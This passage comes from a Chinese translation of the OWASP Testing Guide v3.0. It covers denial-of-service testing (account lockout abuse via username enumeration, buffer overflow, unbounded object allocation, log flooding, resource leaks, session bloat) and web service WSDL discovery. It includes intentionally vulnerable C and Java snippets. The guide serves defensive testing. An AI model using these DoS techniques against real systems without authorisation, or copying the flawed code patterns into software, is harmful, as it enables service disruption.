概 述<br />

第 一 种 DoS 情 况 是 考 虑 影 响 目 标 应 用 的 验 证 系 统 。 阻 止 穷 举 攻 击 发 现 用 户 密 码 的 一 个 通 常 方 法 是 在 用 户 3 到 5 次 的<br />

密 码 输 入 错 误 之 后 , 锁 定 此 用 户 。 这 样 的 话 , 在 解 锁 账 户 之 前 , 即 使 是 一 个 合 法 的 用 户 提 供 合 法 的 密 码 也 无 法 登 陆<br />

系 统 。 如 果 预 知 合 法 的 登 录 账 户 , 这 个 装 置 有 可 能 被 利 用 成 为 一 个 DOS 攻 击 。<br />

需 要 注 意 的 是 , 在 特 定 环 境 下 , 指 定 应 用 必 须 达 到 业 务 和 安 全 的 平 衡 。 对 于 账 户 锁 定 、 用 户 自 定 义 账 户 名 、 使 用<br />

CAPTCHA 等 系 统 和 其 它 相 关 事 项 , 都 有 其 好 处 及 坏 处 。 每 一 家 公 司 都 需 要 权 衡 风 险 和 利 益 , 但 是 这 里 并 没 有 囊 括 所<br />

有 的 决 定 。 这 里 主 要 讲 对 在 获 取 账 户 的 基 础 上 , 可 能 实 现 的 DoS 进 行 测 试 。<br />

黑 盒 测 试 及 举 例<br />

需 要 进 行 的 第 一 个 测 试 是 确 定 在 若 干 次 登 录 失 败 后 确 实 会 锁 定 账 户 。 如 果 你 已 经 知 道 了 某 个 合 法 用 户 名 , 故 意 输 入<br />

至 少 十 五 次 的 错 误 密 码 试 图 登 录 , 来 验 证 帐 户 是 否 被 锁 定 。 如 果 账 户 在 15 次 尝 试 后 仍 然 没 有 锁 定 , 那 幺 很 有 可 能<br />

不 会 被 锁 定 了 。 记 住 应 用 常 常 会 警 告 用 户 帐 户 即 将 被 锁 定 。 这 能 帮 助 测 试 者 , 特 别 是 当 规 则 约 定 而 不 接 受 锁 定 账 户<br />

时 。<br />

如 果 在 测 试 中 没 有 锁 定 用 户 名 , 测 试 者 需 要 运 用 下 面 的 方 法 尝 试 去 发 现 某 个 合 法 的 账 户 名 。<br />

为 了 找 到 合 法 的 用 户 名 , 测 试 者 需 要 发 现 在 什 幺 地 方 应 用 会 因 为 合 法 或 不 合 法 的 登 录 而 显 现 出 区 别 。 通 常 的 地 方 在<br />

于 :<br />

1. 登 录 页 —— 使 用 一 个 已 知 用 户 名 和 错 误 的 密 码 , 看 浏 览 器 返 回 的 错 误 信 息 。 尝 试 输 入 一 个 根 本 不 可 能 存 在<br />

的 用 户 名 和 同 一 个 错 误 的 密 码 , 然 后 观 察 浏 览 器 返 回 的 错 误 信 息 。 如 果 两 个 信 息 不 通 , 则 可 以 发 现 合 法 账<br />

户 。 有 时 候 两 个 返 回 信 息 之 间 的 区 别 很 小 , 不 能 立 刻 看 出 来 。 比 如 说 , 有 可 能 两 个 信 息 一 样 , 但 是 平 均 返<br />

回 时 间 有 差 别 。 另 外 一 种 检 查 区 别 的 方 法 是 比 较 服 务 器 发 回 的 两 个 消 息 的 HTTP 应 答 体 的 hash 值 。 除 非 服<br />

务 器 对 每 一 个 请 求 返 回 不 同 的 结 果 , 否 则 检 查 两 个 返 回 信 息 的 差 别 是 最 好 的 测 试 方 法 。<br />

2. 注 册 页 面 —— 如 果 应 用 允 许 用 户 自 行 设 置 用 户 名 注 册 , 则 很 容 易 发 现 别 的 用 户 名 。 如 果 你 试 图 注 册 一 个 已<br />

经 存 在 的 用 户 名 , 会 发 生 什 幺 状 况 呢 ? 如 果 返 回 错 误 信 息 说 你 必 须 重 新 设 置 一 个 名 字 , 这 个 过 程 可 以 自 动<br />

确 定 一 个 合 法 的 用 户 名 。<br />

3. 修 改 密 码 页 面 —— 如 果 登 陆 页 面 能 够 让 用 户 恢 复 或 者 重 置 密 码 , 那 幺 需 要 查 看 这 个 功 能 。 当 你 尝 试 恢 复 或<br />

重 置 一 个 根 本 不 存 在 的 账 户 的 时 候 , 会 提 示 不 同 的 信 息 幺 ?<br />

一 旦 攻 击 者 能 够 获 取 合 法 用 户 账 户 名 时 , 或 者 用 户 账 户 名 是 易 确 认 的 , 有 可 预 知 的 格 式 , 那 幺 设 置 一 个 自 动 化 进<br />

程 , 用 来 输 入 3 到 5 个 错 误 的 密 码 给 每 一 个 账 户 。 如 果 攻 击 者 已 确 认 了 大 量 的 用 户 账 户 名 , 他 们 就 能 很 容 易 的 对 大<br />

部 分 用 户 进 行 阻 断 服 务 攻 击 。<br />

灰 盒 测 试 及 举 例<br />

如 果 应 用 的 执 行 信 息 时 可 获 得 的 , 看 看 黑 盒 测 试 部 分 所 提 到 的 函 数 的 逻 辑 。 需 要 注 意 的 是 :<br />

302


OWASP 测 试 指 南 v3.0<br />

1. 如 果 账 户 名 称 是 由 系 统 创 建 , 这 个 逻 辑 是 什 幺 呢 ? 这 个 逻 辑 是 否 能 够 被 恶 意 用 户 预 知 ?<br />

2. 确 定 是 否 有 相 关 函 数 来 处 理 例 如 初 始 化 授 权 , 重 授 权 , 密 码 重 置 , 密 码 恢 复 等 过 程 。 分 辨 存 在 和 不 存 在 的<br />

用 户 名 返 回 的 结 果 。<br />

4.9.3 缓 冲 溢 出 (OWASP-DS-003)<br />

简 介<br />

在 这 个 测 试 里 我 们 检 查 能 否 在 溢 出 目 标 应 用 的 一 个 或 多 个 数 据 结 构 的 环 境 下 引 起 阻 断 服 务 攻 击 。<br />

概 述<br />

任 何 一 种 需 要 开 发 者 为 内 存 的 分 配 管 理 负 责 的 语 言 , 最 常 见 的 C 和 C++, 都 有 潜 在 的 缓 冲 溢 出 问 题 。 缓 冲 溢 出 最 严<br />

重 的 风 险 是 能 够 在 服 务 器 上 执 行 任 意 的 代 码 , 而 第 一 个 风 险 就 是 因 为 应 用 程 序 异 常 退 出 后 做 成 阻 断 服 务 攻 击 。 缓 冲<br />

溢 出 在 这 个 文 档 的 其 它 测 试 里 讨 论 的 更 多 更 详 细 , 但 是 我 们 会 简 单 的 给 出 一 个 与 应 用 阻 断 服 务 攻 击 相 关 的 例 子 。<br />

以 下 是 一 个 简 单 的 C 编 写 的 例 子 :<br />

void overflow (char *str) {<br />

char buffer[10];<br />

strcpy(buffer, str); // Dangerous!<br />

}<br />

int main () {<br />

char *str = "This is a string that is larger than the buffer of 10";<br />

overflow(str);<br />

}<br />

如 果 这 个 代 码 例 子 执 行 , 将 会 引 起 段 错 误 和 丢 弃 核 心 。 原 因 是 strcpy 试 图 将 53 个 字 符 复 制 到 10 个 位 置 , 重 写 了 临<br />

近 的 内 存 区 域 。 这 个 例 子 是 极 简 单 的 一 个 情 况 。 事 实 上 在 web 应 用 中 , 有 很 多 地 方 用 户 输 入 并 没 有 完 全 检 查 其 长<br />

度 , 使 得 这 种 攻 击 成 为 可 能 。<br />

黑 盒 测 试<br />

在 Buffer_Overflow_Testing 部 分 , 解 释 如 何 向 应 用 提 交 一 系 列 长 度 来 寻 找 可 能 成 为 被 攻 击 的 地 方 。 由 于 它 涉 及 到<br />

DoS, 如 果 你 收 到 一 个 响 应 ( 或 者 没 有 收 到 响 应 ) 让 你 确 信 溢 出 发 生 了 , 你 必 须 尝 试 向 服 务 器 发 起 另 一 个 请 求 , 看<br />

看 是 否 仍 然 有 反 应 。<br />

303


灰 盒 测 试<br />

请 参 照 指 南 的 Buffer_Overflow_Testing 部 分 , 有 关 于 此 测 试 的 详 细 信 息 。<br />

4.9.4 用 户 指 定 型 对 象 分 配 (OWASP-DS-004)<br />

简 介<br />

在 这 个 测 试 中 我 们 检 查 是 否 有 可 能 使 用 分 配 大 量 对 象 的 方 法 来 耗 尽 服 务 器 资 源 。<br />

概 要<br />

如 果 用 户 可 以 直 接 或 间 接 的 提 供 一 个 值 , 可 以 明 确 在 应 用 服 务 器 中 创 建 对 象 的 数 量 , 并 且 如 果 服 务 器 没 有 对 这 个 值<br />

给 出 一 个 严 格 的 上 限 , 那 幺 就 有 可 能 导 致 运 行 环 境 耗 光 所 有 可 用 内 存 。 服 务 器 开 始 分 配 特 定 对 象 的 请 求 数 量 , 若 这<br />

个 数 量 相 当 巨 大 , 则 有 可 能 会 在 服 务 器 上 引 发 严 重 的 问 题 , 可 能 会 耗 尽 所 有 可 用 内 存 , 并 使 得 性 能 下 降 。<br />

下 面 是 一 个 使 用 Java 编 写 的 脆 弱 代 码 的 简 单 例 子 :<br />

String TotalObjects = request.getParameter(“numberofobjects”);<br />

int NumOfObjects = Integer.parseInt(TotalObjects);<br />

ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong!<br />

黑 盒 测 试 及 举 例<br />

测 试 者 需 要 在 应 用 程 序 代 码 中 按 上 述 方 式 寻 找 使 用 属 性 / 值 对 的 形 式 提 交 的 数 字 。 尝 试 将 值 设 为 一 个 非 常 巨 大 的 数 ,<br />

来 看 服 务 器 是 否 继 续 响 应 。 你 可 能 需 要 一 小 段 时 间 来 通 过 测 试 , 因 为 当 服 务 器 进 行 持 续 分 配 时 性 能 会 逐 渐 下 降 。<br />

在 上 述 例 子 中 , 通 过 在 “ numberofobjects” 名 称 / 值 对 中 发 送 一 个 巨 大 的 数 给 服 务 器 , 使 得 servlet 可 能 会 尝 试 创 建<br />

许 多 复 杂 对 象 。 需 然 多 数 应 用 程 序 不 会 让 用 户 直 接 输 入 一 个 值 来 达 到 这 个 目 的 , 但 在 提 交 表 格 时 使 用 隐 藏 字 段 或 用<br />

客 户 端 JavaScript 中 计 算 的 值 可 以 检 测 到 许 多 这 种 漏 洞 的 实 例 。<br />

如 果 应 用 不 提 供 任 何 的 数 字 域 来 作 为 这 种 攻 击 的 向 量 , 通 过 依 次 分 配 对 象 也 有 可 能 会 达 到 相 同 的 结 果 。 电 子 商 务 站<br />

点 是 一 个 值 得 注 意 的 例 子 : 如 果 应 用 没 有 给 出 用 户 的 电 子 购 物 车 中 特 定 时 间 内 物 品 数 量 的 上 限 , 你 可 以 写 一 段 自 动<br />

代 码 来 持 续 的 向 用 户 的 购 物 车 中 添 加 物 品 , 直 到 购 物 车 中 的 物 品 填 满 服 务 器 内 存 。<br />

灰 盒 测 试 及 举 例<br />

知 晓 应 用 程 序 的 内 部 细 节 可 能 会 更 好 的 帮 助 测 试 者 定 位 可 能 被 用 户 大 量 分 配 的 对 象 。 这 里 所 用 的 测 试 技 术 的 模 式 和<br />

黑 盒 测 试 所 用 的 相 同 。<br />

304


OWASP 测 试 指 南 v3.0<br />

4.9.5 将 用 户 输 入 作 为 循 环 计 数 器 (OWASP-DS-005)<br />

简 介<br />

这 个 测 试 里 我 们 检 查 是 否 可 能 让 应 用 强 制 循 环 一 段 需 要 很 多 计 算 机 资 源 的 代 码 , 目 的 是 减 弱 总 体 性 能 。<br />

概 括<br />

就 像 之 前 的 用 户 特 定 对 象 分 配 问 题 一 样 , 如 果 用 户 能 直 接 或 非 直 接 的 指 定 一 个 可 以 用 作 循 环 计 数 器 的 值 , 就 能 够 引<br />

起 服 务 器 的 执 行 问 题 。<br />

以 下 是 java 编 写 的 一 个 例 子 :<br />

public class MyServlet extends ActionServlet {<br />

public void doPost(HttpServletRequest request, HttpServletResponse response)<br />

throws ServletException, IOException {<br />

. . .<br />

String [] values = request.getParameterValues("CheckboxField");<br />

// Process the data without length check for reasonable range – wrong!<br />

for ( int i=0; i


如 果 怀 疑 应 用 程 序 中 可 能 会 出 现 这 样 的 错 误 , 测 试 者 可 以 利 用 一 个 小 脚 本 , 在 请 求 板 块 提 交 一 个 增 长 的 极 大 数 量 的<br />

名 称 / 值 对 。 如 果 提 交 10 个 重 复 和 1000 个 重 复 的 时 候 , 响 应 时 间 有 显 着 区 别 , 有 可 能 暗 示 着 有 这 个 类 型 的 问 题 。<br />

总 的 来 说 , 确 保 检 查 传 递 给 应 用 程 序 的 隐 藏 值 , 因 为 它 们 可 能 会 在 某 些 代 码 段 的 异 常 中 扮 演 一 个 角 色 。<br />

灰 盒 测 试 及 举 例<br />

了 解 应 用 程 序 内 部 细 节 可 以 帮 助 测 试 者 确 定 迫 使 服 务 器 极 大 循 环 同 一 个 代 码 的 输 入 值 。 然 而 其 测 试 技 巧 与 黑 盒 测 试<br />

相 同 。<br />

4.9.6 将 用 户 写 入 的 数 据 写 到 磁 盘 (OWASP-DS-006)<br />

简 介<br />

这 个 测 试 , 我 们 检 查 是 否 能 通 过 在 目 标 磁 盘 中 写 满 日 志 来 创 造 DoS 环 境 。<br />

概 述<br />

这 个 DoS 攻 击 的 目 标 是 引 起 应 用 程 序 日 志 记 录 有 可 能 充 满 磁 盘 的 极 大 容 量 的 数 据 。<br />

这 个 攻 击 可 能 按 以 下 两 种 方 式 发 生 :<br />

1. 测 试 者 在 请 求 中 提 交 极 长 的 值 给 服 务 器 , 同 时 应 用 程 序 不 验 证 它 们 是 否 是 所 期 望 的 而 直 接 记 录 这 个 值 。<br />

2. 应 用 程 序 可 能 进 行 数 据 验 证 以 确 定 提 交 值 是 否 按 照 正 确 的 格 式 和 长 度 , 但 之 后 应 用 程 序 同 样 会 将 失 败 的 值<br />

( 为 了 审 查 或 者 追 踪 错 误 的 目 的 ) 记 录 到 应 用 程 序 日 志 中 。<br />

如 果 应 用 程 序 没 有 指 定 可 利 用 的 日 志 或 者 记 录 空 间 的 上 限 , 这 将 是 可 攻 击 的 一 个 漏 洞 。 特 别 是 当 日 志 文 件 没 有 独 立<br />

的 划 分 的 时 候 , 因 为 这 些 文 件 的 大 小 会 不 断 增 长 直 到 无 法 进 行 其 它 操 作 ( 比 如 应 用 程 序 创 建 临 时 文 件 )。 但 是 , 测<br />

试 者 很 难 侦 测 到 这 种 类 型 的 成 功 攻 击 , 除 非 测 试 者 可 以 进 入 到 应 用 程 序 创 建 的 日 志 文 件 ( 灰 盒 )。<br />

黑 盒 测 试 及 举 例<br />

如 果 没 有 一 些 运 气 和 很 多 耐 心 的 话 , 这 个 测 试 在 黑 盒 方 案 中 极 难 实 现 。 确 定 一 个 由 客 户 提 交 的 看 起 来 不 用 进 行 长 度<br />

检 查 ( 或 者 极 度 长 ) 的 值 , 将 有 很 大 的 可 能 被 应 用 程 序 记 录 。 客 户 的 Textarea 字 段 总 是 可 以 输 入 很 长 的 数 据 , 但 是<br />

在 远 程 数 据 库 下 , 它 们 可 能 不 被 记 录 。 用 一 个 脚 本 来 自 动 尽 快 的 发 送 同 样 的 一 个 大 值 请 求 , 且 持 续 一 段 时 间 。 服 务<br />

器 最 终 是 否 在 向 文 件 系 统 写 入 时 开 始 报 错 ?<br />

306


OWASP 测 试 指 南 v3.0<br />

灰 盒 测 试 及 举 例<br />

某 些 情 况 下 , 有 可 能 监 视 目 标 网 站 的 磁 盘 空 间 。 通 常 在 本 地 网 络 测 试 时 需 要 这 样 做 。 获 取 信 息 的 方 法 包 括 以 下 方<br />

案 :<br />

1. 日 志 文 件 的 主 机 服 务 器 允 许 测 试 者 安 装 文 件 系 统 或 部 分 文 件 系 统 。<br />

2. 服 务 器 通 过 SNMP 提 供 磁 盘 空 间 信 息 。<br />

如 果 这 样 的 信 息 可 用 , 测 试 者 应 该 向 服 务 器 发 送 一 个 十 分 大 的 请 求 , 观 察 数 据 是 否 被 写 入 应 用 程 序 日 志 文 件 而 没 有<br />

任 何 的 长 度 限 制 。 如 果 没 有 限 制 , 那 幺 可 以 通 过 一 个 小 脚 本 来 自 动 实 现 发 送 长 请 求 , 且 观 察 服 务 器 的 日 志 文 件 增 长<br />

的 速 度 ( 或 者 空 余 空 间 缩 小 )。 这 可 以 让 测 试 者 知 道 需 要 多 少 时 间 和 努 力 去 填 满 磁 盘 , 而 不 需 要 运 行 整 个 DoS。<br />

4.9.7 释 放 资 源 失 败 (OWASP-DS-007)<br />

简 介<br />

利 用 这 个 测 试 , 我 们 可 以 检 查 应 用 程 序 在 使 用 后 是 否 适 当 的 释 放 资 源 ( 文 件 或 内 存 )。<br />

概 要<br />

如 果 应 用 程 序 出 现 了 阻 止 释 放 使 用 中 的 资 源 的 错 误 , 那 幺 之 后 也 就 不 能 使 用 了 。 可 能 的 例 子 如 下 :<br />

• 应 用 程 序 锁 定 一 个 文 件 的 写 功 能 , 然 后 出 现 一 个 异 常 但 是 没 有 正 常 关 闭 和 解 锁 文 件 。<br />

• 在 开 发 者 负 责 C 、C++ 等 存 储 管 理 的 语 言 中 出 现 的 内 存 泄 漏 内 存 。 当 一 个 错 误 引 起 需 要 回 避 的 正 常 逻 辑 流 程<br />

循 环 时 , 已 分 配 内 存 可 能 无 法 删 除 , 于 是 便 造 成 垃 圾 回 收 不 知 道 可 否 回 收 这 个 内 存 的 状 况 。<br />

• 使 用 异 常 后 无 法 释 放 的 数 据 库 连 接 对 象 。 因 为 代 码 始 终 无 法 释 放 资 源 , 许 多 重 复 请 求 可 以 引 起 应 用 程 序 消<br />

耗 所 有 的 数 据 库 连 接 。<br />

下 面 是 一 个 JAVA 代 码 的 例 子 。 在 这 个 例 子 中 ,Connection 和 CallableStatement 都 应 该 在 finally 代 码 区 关 闭 。<br />

public class AccountDAO {<br />

… …<br />

public void createAccount(AccountInfo acct)<br />

throws AcctCreationException {<br />

… …<br />

try {<br />

Connection conn = DAOFactory.getConnection();<br />

CallableStatement calStmt = conn.prepareCall(…);<br />

… …<br />

307


}<br />

calStmt.executeUpdate();<br />

calStmt.close();<br />

conn.close();<br />

} catch (java.sql.SQLException e) {<br />

throw AcctCreationException (...);<br />

}<br />

}<br />

黑 盒 测 试 及 举 例<br />

总 的 来 说 , 在 一 个 纯 粹 的 黑 盒 测 试 中 很 难 观 察 这 些 类 型 的 资 源 流 失 。 如 果 你 可 以 找 到 一 个 怀 疑 在 进 行 数 据 库 操 作 的<br />

请 求 , 而 这 个 请 求 能 够 引 起 服 务 器 抛 出 一 个 看 起 来 不 能 被 处 理 的 异 常 , 那 幺 你 可 以 快 速 自 动 发 送 几 百 个 这 种 请 求 。<br />

在 进 行 合 法 的 使 用 和 不 合 法 的 使 用 时 , 观 察 应 用 程 序 是 否 减 慢 或 者 返 回 新 的 错 误 信 息 。<br />

灰 盒 测 试 及 举 例<br />

在 某 些 情 况 下 , 有 可 能 监 视 目 标 网 站 的 磁 盘 空 间 或 内 内 存 使 用 情 况 。 通 常 在 本 地 网 络 进 行 测 试 时 能 出 现 这 种 情 况 。<br />

获 得 信 息 的 方 案 如 下 :<br />

1. 应 用 程 序 主 机 服 务 器 允 许 测 试 者 安 装 文 件 系 统 或 部 分 文 件 系 统 。<br />

2. 服 务 器 通 过 SNMP 提 供 磁 盘 空 间 或 内 存 使 用 信 息 。<br />

某 些 情 况 下 , 为 了 故 意 引 起 一 个 不 能 被 应 用 程 序 处 理 干 净 的 异 常 或 错 误 而 试 图 向 应 用 程 序 注 入 信 息 时 , 就 可 能 检 测<br />

服 务 器 的 内 存 或 者 磁 盘 使 用 情 况 。 尝 试 去 引 起 这 些 类 型 的 错 误 应 该 包 括 不 会 被 认 为 是 合 法 字 符 的 特 殊 字 符 ( 比 如 , !,<br />

|, 和 ‘)。<br />

4.9.8 存 储 过 多 会 话 数 据 (OWASP-DS-008)<br />

简 介<br />

在 这 个 测 试 里 , 我 们 检 查 是 否 可 以 通 过 向 用 户 会 话 分 配 大 数 量 的 数 据 来 耗 尽 内 存 资 源 。<br />

概 述<br />

一 定 要 注 意 不 要 在 用 户 会 话 对 象 中 存 储 过 多 数 据 。 在 会 话 中 存 储 过 多 的 数 据 , 比 如 在 数 据 库 中 检 索 到 得 大 量 数 据 ,<br />

可 能 引 起 阻 断 服 务 攻 击 。 如 果 会 话 数 据 在 登 录 前 被 追 踪 , 由 于 用 户 可 以 不 用 账 户 而 发 起 一 个 攻 击 , 这 将 产 生 严 重 问<br />

题 。<br />

308


OWASP 测 试 指 南 v3.0<br />

黑 盒 测 试 及 举 例<br />

这 又 是 一 个 在 纯 粹 黑 盒 中 很 难 测 试 的 情 况 。 这 种 问 题 通 常 存 在 于 那 些 会 应 用 用 户 提 供 一 个 数 据 去 检 索 数 据 库 里 的 很<br />

大 数 目 的 记 录 的 普 通 应 用 程 序 中 。 浏 览 大 数 目 数 据 的 页 面 有 关 的 功 能 也 是 很 有 可 能 的 。 开 发 者 可 能 了 选 择 在 对 话 中<br />

缓 存 记 录 , 而 不 是 为 了 下 一 数 据 块 又 回 到 数 据 库 。 如 果 这 被 怀 疑 , 创 建 一 个 自 动 化 脚 本 来 跟 服 务 器 建 立 很 多 会 话 ,<br />

运 行 可 能 在 每 一 个 会 话 中 分 别 缓 存 数 据 的 请 求 。 让 该 脚 本 运 行 一 段 时 间 , 然 后 检 测 应 用 程 序 对 新 的 会 话 的 反 应 程<br />

度 。 通 过 这 个 攻 击 , 一 个 虚 拟 机 甚 至 一 个 服 务 器 很 可 能 执 行 至 耗 尽 内 存 。<br />

灰 盒 测 试 及 举 例<br />

如 果 可 以 的 话 ,SNMP 可 以 提 供 机 器 内 存 的 使 用 信 息 。 在 这 个 测 试 中 , 如 果 能 够 监 视 目 标 内 存 的 使 用 情 况 就 更 好<br />

了 。 因 为 测 试 者 可 以 看 到 上 面 提 到 的 脚 本 运 行 时 发 生 的 状 况 。<br />

4.10 WEB 服 务 测 试<br />

SOA( 服 务 面 向 结 构 )/Web 服 务 应 用 程 序 是 日 渐 重 要 的 系 统 , 它 们 可 以 使 作 业 交 互 。 同 时 它 们 以 前 所 未 有 的 速 度 在<br />

发 展 着 。Web 服 务 “ 客 户 ” 不 是 网 络 前 段 而 是 后 端 服 务 器 。Web 服 务 跟 其 它 服 务 一 样 是 暴 露 于 网 络 的 , 但 是 可 以 在<br />

其 它 传 输 协 议 HTTP,FTP,SMTP,MO 上 使 用 。Web 服 务 框 架 在 连 接 XML,SOAP,WSDL 和 UDDI 技 术 中 利 用 HTTP 协 议<br />

( 作 为 标 准 网 络 应 用 程 序 )。<br />

• “WebWeb 服 务 描 述 语 言 ”(WSDL) 是 用 来 描 述 服 务 接 口 的 。<br />

• “ 简 单 对 象 存 取 协 议 ”(SOAP) 用 XML 和 HTTP 提 供 Web 服 务 和 客 户 应 用 程 序 之 间 的 联 系 方 法 。<br />

• “ 统 一 描 述 、 发 现 和 集 成 ”(UDDI) 是 用 来 注 册 和 发 布 Web 服 务 和 它 们 的 字 符 , 这 样 他 们 可 以 在 潜 在 的 客<br />

户 中 被 发 现 。<br />

Web 服 务 中 的 漏 洞 跟 别 的 漏 洞 类 似 , 比 如 SQL 注 入 , 信 息 暴 露 , 和 泄 漏 , 但 是 这 里 将 会 讨 论 到 Web 服 务 独 特 的 与<br />

漏 洞 有 关 的 XML/ 解 析 器 。<br />

以 下 描 述 了 Web 服 务 测 试 :<br />

4.10.1 WS Information Gathering WS 信 息 收 集 (OWASP-WS-001)<br />

4.10.2 Testing WSDL WSDL 测 试 (OWASP-WS-002)<br />

4.10.3 XML Structural Testing XML 结 构 测 试 (OWASP-WS-003)<br />

4.10.4 XML Content-level Testing XML 内 容 级 别 测 试 (OWASP-WS-004)<br />

4.10.5 HTTP GET parameters/REST Testing HTTP 获 取 参 数 /REST 测 试 (OWASP-WS-005)<br />

4.10.6 Naughty SOAP attachments 淘 气 的 SOAP 附 件 (OWASP-WS-006)<br />

4.10.7 Replay Testing 重 现 测 试 (OWASP-WS-007)<br />

309


4.10.1 WS 信 息 收 集 (OWASP-WS-001)<br />

简 介<br />

进 行 Web 服 务 测 试 的 第 一 步 是 确 定 WS 入 口 点 和 链 接 图 标 : 这 在 WS 的 WSDL 里 有 描 述 。<br />

黑 盒 测 试 及 举 例<br />

零 知 识<br />

通 常 你 通 过 WSDL 路 径 访 问 Web 服 务 , 但 是 如 果 你 没 有 任 何 信 息 , 你 就 必 须 利 用 UDDI 来 找 到 特 定 的 服 务 。Web 服<br />

务 有 三 个 重 要 的 创 建 块 ——UDDI,WSDL 和 SOAP。 在 消 费 者 和 供 应 商 之 间 , 还 有 第 三 个 提 升 沟 通 的 角 色 —Universal<br />

Business Registry(UBR)。 找 到 我 们 的 WSDL 的 方 法 有 几 种 : 最 简 单 的 是 在 公 共 搜 索 引 擎 里 面 去 查 询 。 比 如 说 , 你<br />

要 利 用 google.com 查 询 在 example.com 网 站 上 的 WDSL, 你 可 以 输 入 :<br />

inurl:wsdl site:example.com<br />

然 后 你 会 找 到 所 有 的 WSDL 公 共 例 子 。 网 络 广 场 wsPawn 作 为 一 个 很 有 用 的 Web 服 务 消 费 者 , 它 可 以 向 UBR 创 建 查<br />

询 , 并 为 每 一 个 请 求 寻 找 服 务 。 然 后 UBR 提 供 可 用 的 服 务 列 表 。Web 服 务 消 费 者 选 择 一 个 或 多 个 可 用 的 服 务 。 然<br />

后 ,Web 服 务 消 费 者 为 这 些 服 务 请 求 一 个 访 问 点 或 者 结 束 点 。UBR 提 供 这 些 信 息 。 从 这 个 时 候 开 始 ,Web 服 务 消 费<br />

者 接 近 Web 服 务 供 应 商 的 主 机 /IP 地 址 (WSDL), 且 开 始 访 问 服 务 。<br />

WSDL 端 点<br />

当 测 试 者 访 问 WSDL 时 , 他 可 以 为 Web 服 务 决 定 一 个 访 问 点 和 可 用 的 接 口 。 这 些 接 口 或 方 法 在 HTTP/HTTPS 上 利 用<br />

SOAP 协 议 获 得 输 入 资 料 。 如 果 这 些 输 入 在 代 码 级 没 有 被 定 义 好 , 它 们 就 可 以 被 利 用 来 攻 击 。 例 子 WDSL 端 点 :<br />

http://www.example.com/ws/FindIP.asmx?WSDL<br />

你 可 以 得 到 以 下 的 Web 服 务 的 描 述 :<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

310


OWASP 测 试 指 南 v3.0<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

<br />

……<br />

<br />

<br />

这 个 WS 简 单 输 入 的 一 个 逻 辑 名 称 (EnterURL) 并 输 出 本 地 IP 地 址 。 所 以 我 们 将 GetURLIP 作 为 WS 和 EnterURL( 字<br />

符 串 ) 的 输 入 方 法 。 这 种 方 法 我 们 确 定 了 WS 入 口 点 且 能 够 测 试 它 。<br />

Web 服 务 发 现<br />

Web 服 务 消 费 者 需 要 一 个 简 单 的 和 标 准 的 方 式 去 从 远 程 服 务 器 上 找 到 可 用 的 Web 服 务 。 这 里 有 两 种 方 法 找 到 Web<br />

服 务 :DISCO 和 UDDI.<br />

Web 服 务 发 现 (DISCO) 是 一 种 用 来 发 现 URL WSDL 类 型 和 其 它 XML 文 件 的 方 法 , 如 Schema Definition File( .xsd)<br />

的 。<br />

例 如 , 用 HTTP 向 一 个 Web 服 务 器 查 询 :http://myexample.com/myexampleService.asmx?DISCO<br />

我 们 可 以 获 得 如 下 Disco 返 回 :<br />

<br />

311


<br />

<br />

<br />

在 这 个 XML 文 件 里 我 们 有 一 个 WSDL 文 件 的 参 考 , 可 以 从 远 程 服 务 器 获 得 可 用 Web 服 务 的 类 型 。<br />

DISCO 是 微 软 的 一 个 技 术 ,UDDI( 统 一 描 述 、 发 现 和 集 成 ) 是 一 种 OASIS 标 准 。<br />

WS 著 名 命 名<br />

通 常 的 Web 服 务 平 台 在 提 供 WSDL 文 件 时 有 个 命 名 习 惯 : 这 个 命 名 习 惯 可 以 用 于 利 用 URIs 探 测 或 者 通 过 向 网 络 搜<br />

索 服 务 查 询 来 找 到 WSDL。<br />

一 些 可 用 的 URL 案 例 :<br />

http://:/<br />

http://:/.wsdl<br />

http://:/?wsdl<br />

http://:/.aspx?wsdl<br />

除 了 .aspx 扩 展 名 外 , 我 们 还 可 以 利 用 .ascx, .asmx, .ashx 扩 展 名 。<br />

同 样 地 可 以 用 ?disco 来 代 替 ?wsdl<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

http://:/?wsdl<br />

至 于 Apache Axis , 我 们 可 以 试 :<br />

http://:/axis/services/?wsdl<br />

http://:/axis/services/<br />

312


OWASP 测 试 指 南 v3.0<br />

搜 索 公 共 Web 服 务<br />

SeekdaWeb 服 务 搜 索 引 擎 可 以 通 过 相 关 描 述 帮 助 找 到 一 个 公 共 Web 服 务 。 只 需 要 在 seekdaWeb 服 务 引 擎 输 入 关 键<br />

字 。 我 们 还 可 以 随 意 翻 阅 一 些 别 的 标 准 , 比 如 说 Tag Cloud,Services by Countries ,Most Used Services。<br />

http://seekda.com<br />

另 外 一 个 有 着 很 好 连 接 和 资 源 的 Web 服 务 是 WSindex(http://www.wsindex.org)<br />

313


UDDI Browser<br />

UDDI 浏 览 器 有 一 个 能 给 浏 览 者 提 供 很 有 用 UDDI 在 线 工 具 , 且 能 搜 索 公 共 UDDI 资 源 的 Web 服 务<br />

http://www.soapclient.com.<br />

我 们 可 以 使 用 两 个 operator,Microsoft and XMethods:<br />

举 个 例 , 服 务 器 提 供 用 一 个 特 定 的 公 司 名 称 、 服 务 名 称 、 或 者 服 务 类 型 来 搜 索 所 有 UDDI。<br />

高 级 UDDI 浏 览<br />

我 们 可 以 用 更 高 级 的 UDDI 浏 览 器 特 征 搜 索 私 人 UDDI 注 册 。<br />

314


OWASP 测 试 指 南 v3.0<br />

这 个 服 务 允 许 和 Web 服 务 动 态 互 动 。<br />

Soapclient 提 供 其 它 的 方 式 让 你 发 现 Web 服 务 和 其 它 资 源 的 有 用 链 接 。<br />

命 令 行 互 动<br />

有 时 候 从 命 令 行 与 Web 服 务 互 动 是 很 有 用 的 。<br />

Simple SOAP Client- SOAPClient4XG<br />

SOAPClient4XG 是 用 于 XML 的 SOAP Client, 能 够 让 你 从 命 令 行 发 送 一 个 SOAP 请 求 , 例 如 :<br />

java -jar SOAPClient4XG http://api.google.com/search/beta2<br />

my_sample_search.xml<br />

CURL<br />

我 们 还 可 以 通 过 CURL 使 用 Web 服 务<br />

例 如 :<br />

curl --request POST --header “Content-type: text/xml<br />

--data @my_request.xml http://api.google.com/search/beta2<br />

Perl – SOAPlite<br />

